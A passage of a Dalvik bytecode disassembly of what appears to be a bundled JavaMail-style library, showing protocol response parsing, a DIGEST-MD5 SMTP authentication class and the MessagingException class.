0000000A  array-length            v3, p1
0000000C  mul-int/lit8            v3, v3, 0xF
00000010  invoke-direct           Protocol->multilineCommand(String, I)Response, p0, v2, v3
00000016  move-result-object      v2
00000018  iget-boolean            v3, v2, Response->ok:Z
:1C
0000001C  if-nez                  v3, :24
:20
00000020  monitor-exit            p0
00000022  return                  v0
:24
00000024  new-instance            v0, LineInputStream
00000028  iget-object             v2, v2, Response->bytes:InputStream
0000002C  invoke-direct           LineInputStream-><init>(InputStream)V, v0, v2
:32
00000032  invoke-virtual          LineInputStream->readLine()String, v0
00000038  move-result-object      v2
0000003A  if-nez                  v2, :42
:3E
0000003E  move                    v0, v1
00000040  goto                    :20
:42
00000042  const/16                v3, 0x20
00000046  invoke-virtual          String->indexOf(I)I, v2, v3
0000004C  move-result             v3
0000004E  if-lt                   v3, v1, :32
:52
00000052  invoke-virtual          String->length()I, v2
00000058  move-result             v4
0000005A  if-ge                   v3, v4, :32
:5E
0000005E  const/4                 v4, 0x0
00000060  invoke-virtual          String->substring(I, I)String, v2, v4, v3
00000066  move-result-object      v4
00000068  invoke-static           Integer->parseInt(String)I, v4
0000006E  move-result             v4
00000070  if-lez                  v4, :32
:74
00000074  array-length            v5, p1
00000076  if-gt                   v4, v5, :32
:7A
0000007A  add-int/lit8            v4, v4, 0xFFFFFFFFFFFFFFFF
0000007E  add-int/lit8            v3, v3, 0x1
00000082  invoke-virtual          String->substring(I)String, v2, v3
00000088  move-result-object      v2
0000008A  aput-object             v2, p1, v4
:8E
0000008E  goto                    :32
:90
00000090  move-exception          v0
00000092  monitor-exit            p0
00000094  throw                   v0
          .catchall {:6 .. :1C} :90
          .catchall {:24 .. :8E} :90
.end method

#--------------------------------------------------------------------------------
.class Response
.super Object
.source ""

.field bytes:InputStream
.field data:String
.field ok:Z

.method constructor <init>()V
          .registers 3
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  const/4                 v0, 0x0
0000000A  iput-boolean            v0, p0, Response->ok:Z
0000000E  iput-object             v1, p0, Response->data:String
00000012  iput-object             v1, p0, Response->bytes:InputStream
00000016  return-void
.end method

#--------------------------------------------------------------------------------
.class SharedByteArrayOutputStream
.super ByteArrayOutputStream
.source ""

.method public constructor <init>(I)V
          .registers 2
00000000  invoke-direct           ByteArrayOutputStream-><init>(I)V, p0, p1
00000006  return-void
.end method

.method public toStream()InputStream
          .registers 5
00000000  new-instance            v0, SharedByteArrayInputStream
00000004  iget-object             v1, p0, SharedByteArrayOutputStream->buf:[B
00000008  const/4                 v2, 0x0
0000000A  iget                    v3, p0, SharedByteArrayOutputStream->count:I
0000000E  invoke-direct           SharedByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
00000014  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class Status
.super Object
.source ""

.field size:I
.field total:I

.method constructor <init>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput                    v0, p0, Status->total:I
0000000C  iput                    v0, p0, Status->size:I
00000010  return-void
.end method

#--------------------------------------------------------------------------------
.class public DigestMD5
.super Object
.source ""

.field private static digits:[C
.field private clientResponse:String
.field private debugout:PrintStream
.field private md5:MessageDigest
.field private uri:String

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x10
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :14
0000000E  sput-object             v0, DigestMD5->digits:[C
00000012  return-void
00000014  .array-data 2 x 0x10
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x61
              0x62
              0x63
              0x64
              0x65
              0x66
          .end array-data
.end method

.method public constructor <init>(PrintStream)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, DigestMD5->debugout:PrintStream
0000000A  if-eqz                  p1, :18
:E
0000000E  const-string            v0, "DEBUG DIGEST-MD5: Loaded"
00000012  invoke-virtual          PrintStream->println(String)V, p1, v0
:18
00000018  return-void
.end method

.method private static toHex([B)String
          .registers 8
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p0
00000004  mul-int/lit8            v1, v1, 0x2
00000008  new-array               v2, v1, [C
0000000C  move                    v1, v0
:E
0000000E  array-length            v3, p0
00000010  if-lt                   v1, v3, :20
:14
00000014  new-instance            v0, String
00000018  invoke-direct           String-><init>([C)V, v0, v2
0000001E  return-object           v0
:20
00000020  aget-byte               v3, p0, v1
00000024  and-int/lit16           v3, v3, 0xFF
00000028  add-int/lit8            v4, v0, 0x1
0000002C  sget-object             v5, DigestMD5->digits:[C
00000030  shr-int/lit8            v6, v3, 0x4
00000034  aget-char               v5, v5, v6
00000038  aput-char               v5, v2, v0
0000003C  add-int/lit8            v0, v4, 0x1
00000040  sget-object             v5, DigestMD5->digits:[C
00000044  and-int/lit8            v3, v3, 0xF
00000048  aget-char               v3, v5, v3
0000004C  aput-char               v3, v2, v4
00000050  add-int/lit8            v1, v1, 0x1
00000054  goto                    :E
.end method

.method private tokenize(String)Hashtable
          .registers 13
00000000  const/4                 v1, 0x0
00000002  const/16                v10, 0x39
00000006  const/16                v9, 0x30
0000000A  new-instance            v2, Hashtable
0000000E  invoke-direct           Hashtable-><init>()V, v2
00000014  invoke-virtual          String->getBytes()[B, p1
0000001A  move-result-object      v0
0000001C  new-instance            v3, StreamTokenizer
00000020  new-instance            v4, InputStreamReader
00000024  new-instance            v5, BASE64DecoderStream
00000028  new-instance            v6, ByteArrayInputStream
0000002C  const/4                 v7, 0x4
0000002E  array-length            v8, v0
00000030  add-int/lit8            v8, v8, 0xFFFFFFFFFFFFFFFC
00000034  invoke-direct           ByteArrayInputStream-><init>([B, I, I)V, v6, v0, v7, v8
0000003A  invoke-direct           BASE64DecoderStream-><init>(InputStream)V, v5, v6
00000040  invoke-direct           InputStreamReader-><init>(InputStream)V, v4, v5
00000046  invoke-direct           StreamTokenizer-><init>(Reader)V, v3, v4
0000004C  invoke-virtual          StreamTokenizer->ordinaryChars(I, I)V, v3, v9, v10
00000052  invoke-virtual          StreamTokenizer->wordChars(I, I)V, v3, v9, v10
00000058  move-object             v0, v1
:5A
0000005A  invoke-virtual          StreamTokenizer->nextToken()I, v3
00000060  move-result             v4
00000062  const/4                 v5, 0xFFFFFFFFFFFFFFFF
00000064  if-ne                   v4, v5, :6A
:68
00000068  return-object           v2
:6A
0000006A  sparse-switch           v4, :12C
:70
00000070  goto                    :5A
:72
00000072  if-nez                  v0, :7C
:76
00000076  iget-object             v0, v3, StreamTokenizer->sval:String
0000007A  goto                    :5A
:7C
0000007C  iget-object             v4, p0, DigestMD5->debugout:PrintStream
00000080  if-eqz                  v4, :D0
:84
00000084  iget-object             v4, p0, DigestMD5->debugout:PrintStream
00000088  new-instance            v5, StringBuilder
0000008C  const-string            v6, "DEBUG DIGEST-MD5: Received => "
00000090  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000096  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v0
0000009C  move-result-object      v5
0000009E  const-string            v6, "=\'"
000000A2  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
000000A8  move-result-object      v5
000000AA  iget-object             v6, v3, StreamTokenizer->sval:String
000000AE  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
000000B4  move-result-object      v5
000000B6  const-string            v6, "\'"
000000BA  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
000000C0  move-result-object      v5
000000C2  invoke-virtual          StringBuilder->toString()String, v5
000000C8  move-result-object      v5
000000CA  invoke-virtual          PrintStream->println(String)V, v4, v5
:D0
000000D0  invoke-virtual          Hashtable->containsKey(Object)Z, v2, v0
000000D6  move-result             v4
000000D8  if-eqz                  v4, :120
:DC
000000DC  new-instance            v4, StringBuilder
000000E0  invoke-direct           StringBuilder-><init>()V, v4
000000E6  invoke-virtual          Hashtable->get(Object)Object, v2, v0
000000EC  move-result-object      v5
000000EE  invoke-virtual          StringBuilder->append(Object)StringBuilder, v4, v5
000000F4  move-result-object      v4
000000F6  const-string            v5, ","
000000FA  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
00000100  move-result-object      v4
00000102  iget-object             v5, v3, StreamTokenizer->sval:String
00000106  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
0000010C  move-result-object      v4
0000010E  invoke-virtual          StringBuilder->toString()String, v4
00000114  move-result-object      v4
00000116  invoke-virtual          Hashtable->put(Object, Object)Object, v2, v0, v4
:11C
0000011C  move-object             v0, v1
0000011E  goto                    :5A
:120
00000120  iget-object             v4, v3, StreamTokenizer->sval:String
00000124  invoke-virtual          Hashtable->put(Object, Object)Object, v2, v0, v4
0000012A  goto                    :11C
0000012C  .sparse-switch
              0xFFFFFFFD -> :72
              0x22 -> :7C
          .end sparse-switch
.end method

.method public authClient(String, String, String, String, String)[B
          .registers 18
00000000  new-instance            v2, ByteArrayOutputStream
00000004  invoke-direct           ByteArrayOutputStream-><init>()V, v2
0000000A  new-instance            v3, BASE64EncoderStream
0000000E  const                   v1, 0x7FFFFFFF
00000014  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, v3, v2, v1
:1A
0000001A  new-instance            v4, SecureRandom
0000001E  invoke-direct           SecureRandom-><init>()V, v4
00000024  const-string            v1, "MD5"
00000028  invoke-static           MessageDigest->getInstance(String)MessageDigest, v1
0000002E  move-result-object      v1
00000030  iput-object             v1, p0, DigestMD5->md5:MessageDigest
:34
00000034  new-instance            v5, StringBuffer
00000038  invoke-direct           StringBuffer-><init>()V, v5
0000003E  new-instance            v1, StringBuilder
00000042  const-string            v6, "smtp/"
00000046  invoke-direct           StringBuilder-><init>(String)V, v1, v6
0000004C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000052  move-result-object      v1
00000054  invoke-virtual          StringBuilder->toString()String, v1
0000005A  move-result-object      v1
0000005C  iput-object             v1, p0, DigestMD5->uri:String
00000060  const-string            v6, "00000001"
00000064  const-string            v7, "auth"
00000068  const/16                v1, 0x20
0000006C  new-array               v8, v1, [B
00000070  iget-object             v1, p0, DigestMD5->debugout:PrintStream
00000074  if-eqz                  v1, :86
:78
00000078  iget-object             v1, p0, DigestMD5->debugout:PrintStream
0000007C  const-string            v9, "DEBUG DIGEST-MD5: Begin authentication ..."
00000080  invoke-virtual          PrintStream->println(String)V, v1, v9
:86
00000086  move-object/from16      v0, p5
0000008A  invoke-direct           DigestMD5->tokenize(String)Hashtable, p0, v0
00000090  move-result-object      v9
00000092  if-nez                  p4, :4BA
:96
00000096  const-string            v1, "realm"
0000009A  invoke-virtual          Hashtable->get(Object)Object, v9, v1
000000A0  move-result-object      v1
000000A2  check-cast              v1, String
000000A6  if-eqz                  v1, :C0
:AA
000000AA  new-instance            v10, StringTokenizer
000000AE  const-string            v11, ","
000000B2  invoke-direct           StringTokenizer-><init>(String, String)V, v10, v1, v11
000000B8  invoke-virtual          StringTokenizer->nextToken()String, v10
000000BE  move-result-object      p1
:C0
000000C0  const-string            v1, "nonce"
000000C4  invoke-virtual          Hashtable->get(Object)Object, v9, v1
000000CA  move-result-object      v1
000000CC  check-cast              v1, String
000000D0  invoke-virtual          SecureRandom->nextBytes([B)V, v4, v8
000000D6  invoke-virtual          OutputStream->write([B)V, v3, v8
000000DC  invoke-virtual          OutputStream->flush()V, v3
000000E2  invoke-virtual          ByteArrayOutputStream->toString()String, v2
000000E8  move-result-object      v4
000000EA  invoke-virtual          ByteArrayOutputStream->reset()V, v2
000000F0  iget-object             v8, p0, DigestMD5->md5:MessageDigest
000000F4  iget-object             v9, p0, DigestMD5->md5:MessageDigest
000000F8  new-instance            v10, StringBuilder
000000FC  invoke-static           String->valueOf(Object)String, p2
00000102  move-result-object      v11
00000104  invoke-direct           StringBuilder-><init>(String)V, v10, v11
0000010A  const-string            v11, ":"
0000010E  invoke-virtual          StringBuilder->append(String)StringBuilder, v10, v11
00000114  move-result-object      v10
00000116  invoke-virtual          StringBuilder->append(String)StringBuilder, v10, p1
0000011C  move-result-object      v10
0000011E  const-string            v11, ":"
00000122  invoke-virtual          StringBuilder->append(String)StringBuilder, v10, v11
00000128  move-result-object      v10
0000012A  invoke-virtual          StringBuilder->append(String)StringBuilder, v10, p3
00000130  move-result-object      v10
00000132  invoke-virtual          StringBuilder->toString()String, v10
00000138  move-result-object      v10
0000013A  invoke-static           ASCIIUtility->getBytes(String)[B, v10
00000140  move-result-object      v10
00000142  invoke-virtual          MessageDigest->digest([B)[B, v9, v10
00000148  move-result-object      v9
0000014A  invoke-virtual          MessageDigest->update([B)V, v8, v9
00000150  iget-object             v8, p0, DigestMD5->md5:MessageDigest
00000154  new-instance            v9, StringBuilder
00000158  const-string            v10, ":"
0000015C  invoke-direct           StringBuilder-><init>(String)V, v9, v10
00000162  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v1
00000168  move-result-object      v9
0000016A  const-string            v10, ":"
0000016E  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v10
00000174  move-result-object      v9
00000176  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v4
0000017C  move-result-object      v9
0000017E  invoke-virtual          StringBuilder->toString()String, v9
00000184  move-result-object      v9
00000186  invoke-static           ASCIIUtility->getBytes(String)[B, v9
0000018C  move-result-object      v9
0000018E  invoke-virtual          MessageDigest->update([B)V, v8, v9
00000194  new-instance            v8, StringBuilder
00000198  iget-object             v9, p0, DigestMD5->md5:MessageDigest
0000019C  invoke-virtual          MessageDigest->digest()[B, v9
000001A2  move-result-object      v9
000001A4  invoke-static           DigestMD5->toHex([B)String, v9
000001AA  move-result-object      v9
000001AC  invoke-static           String->valueOf(Object)String, v9
000001B2  move-result-object      v9
000001B4  invoke-direct           StringBuilder-><init>(String)V, v8, v9
000001BA  const-string            v9, ":"
000001BE  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000001C4  move-result-object      v8
000001C6  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v1
000001CC  move-result-object      v8
000001CE  const-string            v9, ":"
000001D2  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000001D8  move-result-object      v8
000001DA  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v6
000001E0  move-result-object      v8
000001E2  const-string            v9, ":"
000001E6  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000001EC  move-result-object      v8
000001EE  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v4
000001F4  move-result-object      v8
000001F6  const-string            v9, ":"
000001FA  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
00000200  move-result-object      v8
00000202  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v7
00000208  move-result-object      v8
0000020A  const-string            v9, ":"
0000020E  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
00000214  move-result-object      v8
00000216  invoke-virtual          StringBuilder->toString()String, v8
0000021C  move-result-object      v8
0000021E  iput-object             v8, p0, DigestMD5->clientResponse:String
00000222  iget-object             v8, p0, DigestMD5->md5:MessageDigest
00000226  new-instance            v9, StringBuilder
0000022A  const-string            v10, "AUTHENTICATE:"
0000022E  invoke-direct           StringBuilder-><init>(String)V, v9, v10
00000234  iget-object             v10, p0, DigestMD5->uri:String
00000238  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v10
0000023E  move-result-object      v9
00000240  invoke-virtual          StringBuilder->toString()String, v9
00000246  move-result-object      v9
00000248  invoke-static           ASCIIUtility->getBytes(String)[B, v9
0000024E  move-result-object      v9
00000250  invoke-virtual          MessageDigest->update([B)V, v8, v9
00000256  iget-object             v8, p0, DigestMD5->md5:MessageDigest
0000025A  new-instance            v9, StringBuilder
0000025E  iget-object             v10, p0, DigestMD5->clientResponse:String
00000262  invoke-static           String->valueOf(Object)String, v10
00000268  move-result-object      v10
0000026A  invoke-direct           StringBuilder-><init>(String)V, v9, v10
00000270  iget-object             v10, p0, DigestMD5->md5:MessageDigest
00000274  invoke-virtual          MessageDigest->digest()[B, v10
0000027A  move-result-object      v10
0000027C  invoke-static           DigestMD5->toHex([B)String, v10
00000282  move-result-object      v10
00000284  invoke-virtual          StringBuilder->append(String)StringBuilder, v9, v10
0000028A  move-result-object      v9
0000028C  invoke-virtual          StringBuilder->toString()String, v9
00000292  move-result-object      v9
00000294  invoke-static           ASCIIUtility->getBytes(String)[B, v9
0000029A  move-result-object      v9
0000029C  invoke-virtual          MessageDigest->update([B)V, v8, v9
000002A2  new-instance            v8, StringBuilder
000002A6  const-string            v9, "username=\""
000002AA  invoke-direct           StringBuilder-><init>(String)V, v8, v9
000002B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, p2
000002B6  move-result-object      v8
000002B8  const-string            v9, "\""
000002BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000002C2  move-result-object      v8
000002C4  invoke-virtual          StringBuilder->toString()String, v8
000002CA  move-result-object      v8
000002CC  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v8
000002D2  new-instance            v8, StringBuilder
000002D6  const-string            v9, ",realm=\""
000002DA  invoke-direct           StringBuilder-><init>(String)V, v8, v9
000002E0  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, p1
000002E6  move-result-object      v8
000002E8  const-string            v9, "\""
000002EC  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000002F2  move-result-object      v8
000002F4  invoke-virtual          StringBuilder->toString()String, v8
000002FA  move-result-object      v8
000002FC  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v8
00000302  new-instance            v8, StringBuilder
00000306  const-string            v9, ",qop="
0000030A  invoke-direct           StringBuilder-><init>(String)V, v8, v9
00000310  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v7
00000316  move-result-object      v7
00000318  invoke-virtual          StringBuilder->toString()String, v7
0000031E  move-result-object      v7
00000320  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v7
00000326  new-instance            v7, StringBuilder
0000032A  const-string            v8, ",nc="
0000032E  invoke-direct           StringBuilder-><init>(String)V, v7, v8
00000334  invoke-virtual          StringBuilder->append(String)StringBuilder, v7, v6
0000033A  move-result-object      v6
0000033C  invoke-virtual          StringBuilder->toString()String, v6
00000342  move-result-object      v6
00000344  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v6
0000034A  new-instance            v6, StringBuilder
0000034E  const-string            v7, ",nonce=\""
00000352  invoke-direct           StringBuilder-><init>(String)V, v6, v7
00000358  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v1
0000035E  move-result-object      v1
00000360  const-string            v6, "\""
00000364  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v6
0000036A  move-result-object      v1
0000036C  invoke-virtual          StringBuilder->toString()String, v1
00000372  move-result-object      v1
00000374  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
0000037A  new-instance            v1, StringBuilder
0000037E  const-string            v6, ",cnonce=\""
00000382  invoke-direct           StringBuilder-><init>(String)V, v1, v6
00000388  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
0000038E  move-result-object      v1
00000390  const-string            v4, "\""
00000394  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
0000039A  move-result-object      v1
0000039C  invoke-virtual          StringBuilder->toString()String, v1
000003A2  move-result-object      v1
000003A4  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
000003AA  new-instance            v1, StringBuilder
000003AE  const-string            v4, ",digest-uri=\""
000003B2  invoke-direct           StringBuilder-><init>(String)V, v1, v4
000003B8  iget-object             v4, p0, DigestMD5->uri:String
000003BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
000003C2  move-result-object      v1
000003C4  const-string            v4, "\""
000003C8  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
000003CE  move-result-object      v1
000003D0  invoke-virtual          StringBuilder->toString()String, v1
000003D6  move-result-object      v1
000003D8  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
000003DE  new-instance            v1, StringBuilder
000003E2  const-string            v4, ",response="
000003E6  invoke-direct           StringBuilder-><init>(String)V, v1, v4
000003EC  iget-object             v4, p0, DigestMD5->md5:MessageDigest
000003F0  invoke-virtual          MessageDigest->digest()[B, v4
000003F6  move-result-object      v4
000003F8  invoke-static           DigestMD5->toHex([B)String, v4
000003FE  move-result-object      v4
00000400  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v4
00000406  move-result-object      v1
00000408  invoke-virtual          StringBuilder->toString()String, v1
0000040E  move-result-object      v1
00000410  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
00000416  iget-object             v1, p0, DigestMD5->debugout:PrintStream
0000041A  if-eqz                  v1, :44E
:41E
0000041E  iget-object             v1, p0, DigestMD5->debugout:PrintStream
00000422  new-instance            v4, StringBuilder
00000426  const-string            v6, "DEBUG DIGEST-MD5: Response => "
0000042A  invoke-direct           StringBuilder-><init>(String)V, v4, v6
00000430  invoke-virtual          StringBuffer->toString()String, v5
00000436  move-result-object      v6
00000438  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v6
0000043E  move-result-object      v4
00000440  invoke-virtual          StringBuilder->toString()String, v4
00000446  move-result-object      v4
00000448  invoke-virtual          PrintStream->println(String)V, v1, v4
:44E
0000044E  invoke-virtual          StringBuffer->toString()String, v5
00000454  move-result-object      v1
00000456  invoke-static           ASCIIUtility->getBytes(String)[B, v1
0000045C  move-result-object      v1
0000045E  invoke-virtual          OutputStream->write([B)V, v3, v1
00000464  invoke-virtual          OutputStream->flush()V, v3
0000046A  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v2
00000470  move-result-object      v1
00000472  return-object           v1
:474
00000474  move-exception          v1
00000476  iget-object             v2, p0, DigestMD5->debugout:PrintStream
0000047A  if-eqz                  v2, :4A6
:47E
0000047E  iget-object             v2, p0, DigestMD5->debugout:PrintStream
00000482  new-instance            v3, StringBuilder
00000486  const-string            v4, "DEBUG DIGEST-MD5: "
0000048A  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000490  invoke-virtual          StringBuilder->append(Object)StringBuilder, v3, v1
00000496  move-result-object      v3
00000498  invoke-virtual          StringBuilder->toString()String, v3
0000049E  move-result-object      v3
000004A0  invoke-virtual          PrintStream->println(String)V, v2, v3
:4A6
000004A6  new-instance            v2, IOException
000004AA  invoke-virtual          NoSuchAlgorithmException->toString()String, v1
000004B0  move-result-object      v1
000004B2  invoke-direct           IOException-><init>(String)V, v2, v1
000004B8  throw                   v2
:4BA
000004BA  move-object/from16      p1, p4
000004BE  goto/16                 :C0
          .catch NoSuchAlgorithmException {:1A .. :34} :474
.end method

.method public authServer(String)Z
          .registers 6
00000000  invoke-direct           DigestMD5->tokenize(String)Hashtable, p0, p1
00000006  move-result-object      v0
00000008  iget-object             v1, p0, DigestMD5->md5:MessageDigest
0000000C  new-instance            v2, StringBuilder
00000010  const-string            v3, ":"
00000014  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000001A  iget-object             v3, p0, DigestMD5->uri:String
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000024  move-result-object      v2
00000026  invoke-virtual          StringBuilder->toString()String, v2
0000002C  move-result-object      v2
0000002E  invoke-static           ASCIIUtility->getBytes(String)[B, v2
00000034  move-result-object      v2
00000036  invoke-virtual          MessageDigest->update([B)V, v1, v2
0000003C  iget-object             v1, p0, DigestMD5->md5:MessageDigest
00000040  new-instance            v2, StringBuilder
00000044  iget-object             v3, p0, DigestMD5->clientResponse:String
00000048  invoke-static           String->valueOf(Object)String, v3
0000004E  move-result-object      v3
00000050  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000056  iget-object             v3, p0, DigestMD5->md5:MessageDigest
0000005A  invoke-virtual          MessageDigest->digest()[B, v3
00000060  move-result-object      v3
00000062  invoke-static           DigestMD5->toHex([B)String, v3
00000068  move-result-object      v3
0000006A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000070  move-result-object      v2
00000072  invoke-virtual          StringBuilder->toString()String, v2
00000078  move-result-object      v2
0000007A  invoke-static           ASCIIUtility->getBytes(String)[B, v2
00000080  move-result-object      v2
00000082  invoke-virtual          MessageDigest->update([B)V, v1, v2
00000088  iget-object             v1, p0, DigestMD5->md5:MessageDigest
0000008C  invoke-virtual          MessageDigest->digest()[B, v1
00000092  move-result-object      v1
00000094  invoke-static           DigestMD5->toHex([B)String, v1
0000009A  move-result-object      v1
0000009C  const-string            v2, "rspauth"
000000A0  invoke-virtual          Hashtable->get(Object)Object, v0, v2
000000A6  move-result-object      v0
000000A8  check-cast              v0, String
000000AC  invoke-virtual          String->equals(Object)Z, v1, v0
000000B2  move-result             v0
000000B4  if-nez                  v0, :EC
:B8
000000B8  iget-object             v0, p0, DigestMD5->debugout:PrintStream
000000BC  if-eqz                  v0, :E8
:C0
000000C0  iget-object             v0, p0, DigestMD5->debugout:PrintStream
000000C4  new-instance            v2, StringBuilder
000000C8  const-string            v3, "DEBUG DIGEST-MD5: Expected => rspauth="
000000CC  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000D2  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
000000D8  move-result-object      v1
000000DA  invoke-virtual          StringBuilder->toString()String, v1
000000E0  move-result-object      v1
000000E2  invoke-virtual          PrintStream->println(String)V, v0, v1
:E8
000000E8  const/4                 v0, 0x0
:EA
000000EA  return                  v0
:EC
000000EC  const/4                 v0, 0x1
000000EE  goto                    :EA
.end method

#--------------------------------------------------------------------------------
.class public MessagingException
.super Exception
.source ""

.field private static final serialVersionUID:J = 0x96F4D3B738A7E02BL
.field private next:Exception

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Exception-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  invoke-virtual          MessagingException->initCause(Throwable)Throwable, p0, v0
0000000E  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  invoke-direct           Exception-><init>(String)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  invoke-virtual          MessagingException->initCause(Throwable)Throwable, p0, v0
0000000E  return-void
.end method

.method public constructor <init>(String, Exception)V
          .registers 4
00000000  invoke-direct           Exception-><init>(String)V, p0, p1
00000006  iput-object             p2, p0, MessagingException->next:Exception
0000000A  const/4                 v0, 0x0
0000000C  invoke-virtual          MessagingException->initCause(Throwable)Throwable, p0, v0
00000012  return-void
.end method

.method private final superToString()String
          .registers 2
00000000  invoke-super            Exception->toString()String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public declared-synchronized getCause()Throwable
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MessagingException->next:Exception
:6
00000006  monitor-exit            p0
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getNextException()Exception
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MessagingException->next:Exception
:6
00000006  monitor-exit            p0
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setNextException(Exception)Z
          .registers 5
00000000  monitor-enter           p0
00000002  move-object             v2, p0
:4
00000004  instance-of             v1, v2, MessagingException
00000008  if-eqz                  v1, :1C
:C
0000000C  move-object             v0, v2
0000000E  check-cast              v0, MessagingException
00000012  move-object             v1, v0
00000014  iget-object             v1, v1, MessagingException->next:Exception
00000018  if-nez                  v1, :32
:1C
0000001C  instance-of             v1, v2, MessagingException
00000020  if-eqz                  v1, :3C
:24
00000024  check-cast              v2, MessagingException
00000028  iput-object             p1, v2, MessagingException->next:Exception
:2C
0000002C  const/4                 v1, 0x1
:2E
0000002E  monitor-exit            p0
00000030  return                  v1
:32
00000032  check-cast              v2, MessagingException
00000036  iget-object             v2, v2, MessagingException->next:Exception
:3A
0000003A  goto                    :4
:3C
0000003C  const/4                 v1, 0x0
0000003E  goto                    :2E
:40
00000040  move-exception          v1
00000042  monitor-exit            p0
00000044  throw                   v1
          .catchall {:4 .. :2C} :40
          .catchall {:32 .. :3A} :40
.end method

.method public declared-synchronized toString()String
          .registers 4
00000000  monitor-enter           p0
:2
00000002  invoke-super            Exception->toString()String, p0
00000008  move-result-object      v0
0000000A  iget-object             v1, p0, MessagingException->next:Exception
:E
0000000E  if-nez                  v1, :16
:12
00000012  monitor-exit            p0
00000014  return-object           v0
:16
00000016  new-instance            v2, StringBuffer
0000001A  if-nez                  v0, :22
:1E
0000001E  const-string            v0, ""
:22
00000022  invoke-direct           StringBuffer-><init>(String)V, v2, v0
00000028  move-object             v0, v1
:2A
0000002A  if-nez                  v0, :38
:2E
0000002E  invoke-virtual          StringBuffer->toString()String, v2
00000034  move-result-object      v0
00000036  goto                    :12
:38
00000038  const-string            v1, ";\n  nested exception is:\n\t"
0000003C  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v1
00000042  instance-of             v1, v0, MessagingException
00000046  if-eqz                  v1, :62
:4A
0000004A  check-cast              v0, MessagingException
0000004E  invoke-direct           MessagingException->superToString()String, v0
00000054  move-result-object      v1
00000056  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v1
0000005C  iget-object             v0, v0, MessagingException->next:Exception
00000060  goto                    :2A
:62
00000062  invoke-virtual          Exception->toString()String, v0
00000068  move-result-object      v0
0000006A  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v0
:70
00000070  const/4                 v0, 0x0
00000072  goto                    :2A
:74
00000074  move-exception          v0
00000076  monitor-exit            p0
00000078  throw                   v0
          .catchall {:2 .. :E} :74
          .catchall {:16 .. :70} :74
.end method

#--------------------------------------------------------------------------------
.class public SendFailedException
